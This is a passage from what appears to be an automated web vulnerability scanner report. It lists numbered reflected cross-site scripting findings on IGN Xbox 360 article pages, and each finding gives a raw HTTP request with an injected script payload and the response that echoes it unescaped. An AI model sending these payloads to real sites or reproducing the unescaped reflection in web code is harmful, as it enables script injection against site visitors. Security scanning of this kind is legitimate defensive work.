Set-Cookie: NGUserID=a016c01-1825-1746498733-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045029619v-1n-12mc+1297045029619mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147619p1.html?1ce73"-alert(1)-"372ba1c3c9f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.700. http://xbox360.ign.com/articles/114/1147619p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147619p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 130a1"><script>alert(1)</script>5c30c533979 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147619p1.html?130a1"><script>alert(1)</script>5c30c533979=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-6190579-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045026832v-1n-12mc+1297045026832mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111700

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147619p1.html?130a1"><script>alert(1)</script>5c30c533979=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.701. http://xbox360.ign.com/articles/114/1147697p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147697p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a284"><script>alert(1)</script>5aa6ebf8407 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147697p1.html?8a284"><script>alert(1)</script>5aa6ebf8407=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-306701140-13;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:03 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045024000v-1n-12mc+1297045024000mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94279

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147697p1.html?8a284"><script>alert(1)</script>5aa6ebf8407=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.702. http://xbox360.ign.com/articles/114/1147697p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147697p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d999"-alert(1)-"db5207a8ede was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147697p1.html?7d999"-alert(1)-"db5207a8ede=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-2013986437-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045025861v-1n-12mc+1297045025861mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147697p1.html?7d999"-alert(1)-"db5207a8ede=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.703. http://xbox360.ign.com/articles/114/1147733p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147733p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bfa2"><script>alert(1)</script>7735925f08b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147733p1.html?3bfa2"><script>alert(1)</script>7735925f08b=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1605193591-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045030865v-1n-12mc+1297045030865mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120804

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147733p1.html?3bfa2"><script>alert(1)</script>7735925f08b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.704. http://xbox360.ign.com/articles/114/1147733p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147733p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1cee9"-alert(1)-"5ddad41b62d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147733p1.html?1cee9"-alert(1)-"5ddad41b62d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1562240240-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045033628v-1n-12mc+1297045033628mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120756

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147733p1.html?1cee9"-alert(1)-"5ddad41b62d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.705. http://xbox360.ign.com/articles/114/1147803p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147803p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72bc8"-alert(1)-"d47917dc57a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147803p1.html?72bc8"-alert(1)-"d47917dc57a=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-1397298131-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045027844v-1n-12mc+1297045027844mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120898

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147803p1.html?72bc8"-alert(1)-"d47917dc57a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.706. http://xbox360.ign.com/articles/114/1147803p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147803p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfa02"><script>alert(1)</script>28e576d9c77 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147803p1.html?dfa02"><script>alert(1)</script>28e576d9c77=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-1073431734-11;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045025704v-1n-12mc+1297045025704mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 119512

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147803p1.html?dfa02"><script>alert(1)</script>28e576d9c77=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.707. http://xbox360.ign.com/articles/114/1147942p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147942p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a7a58"-alert(1)-"2205f7d556f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147942p1.html?a7a58"-alert(1)-"2205f7d556f=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-1780403607-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045061179v-1n-12mc+1297045061179mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118328

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1147942p1.html?a7a58"-alert(1)-"2205f7d556f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.708. http://xbox360.ign.com/articles/114/1147942p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1147942p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb91c"><script>alert(1)</script>f1546c2af2a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147942p1.html?fb91c"><script>alert(1)</script>f1546c2af2a=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-826680308-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045058875v-1n-12mc+1297045058875mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118314

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1147942p1.html?fb91c"><script>alert(1)</script>f1546c2af2a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.709. http://xbox360.ign.com/articles/114/1148006p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148006p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48de5"><script>alert(1)</script>861441d1c93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148006p1.html?48de5"><script>alert(1)</script>861441d1c93=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1572821915-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045027062v-1n-12mc+1297045027062mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 128221

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148006p1.html?48de5"><script>alert(1)</script>861441d1c93=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.710. http://xbox360.ign.com/articles/114/1148006p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148006p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa7af"-alert(1)-"c4886ef5928 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148006p1.html?aa7af"-alert(1)-"c4886ef5928=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-834196964-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045029937v-1n-12mc+1297045029937mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 128327

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148006p1.html?aa7af"-alert(1)-"c4886ef5928=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.711. http://xbox360.ign.com/articles/114/1148025c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148025c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89317"-alert(1)-"b079bdfdb99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148025c.html?89317"-alert(1)-"b079bdfdb99=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-1109038529-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045048468v-1n-12mc+1297045048468mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=205bags2no4ae;Path=/includes
Content-Length: 103937

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148025c.html?89317"-alert(1)-"b079bdfdb99=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.712. http://xbox360.ign.com/articles/114/1148025c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148025c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ada0"><script>alert(1)</script>7c7eae899ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148025c.html?8ada0"><script>alert(1)</script>7c7eae899ba=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1599264108-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045045891v-1n-12mc+1297045045891mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=abo45e0ks7867;Path=/includes
Content-Length: 101284

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148025c.html?8ada0"><script>alert(1)</script>7c7eae899ba=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.713. http://xbox360.ign.com/articles/114/1148025p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148025p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e70fc"-alert(1)-"398df2dea08 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148025p1.html?e70fc"-alert(1)-"398df2dea08=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-406621331-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045059619v-1n-12mc+1297045059619mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133414

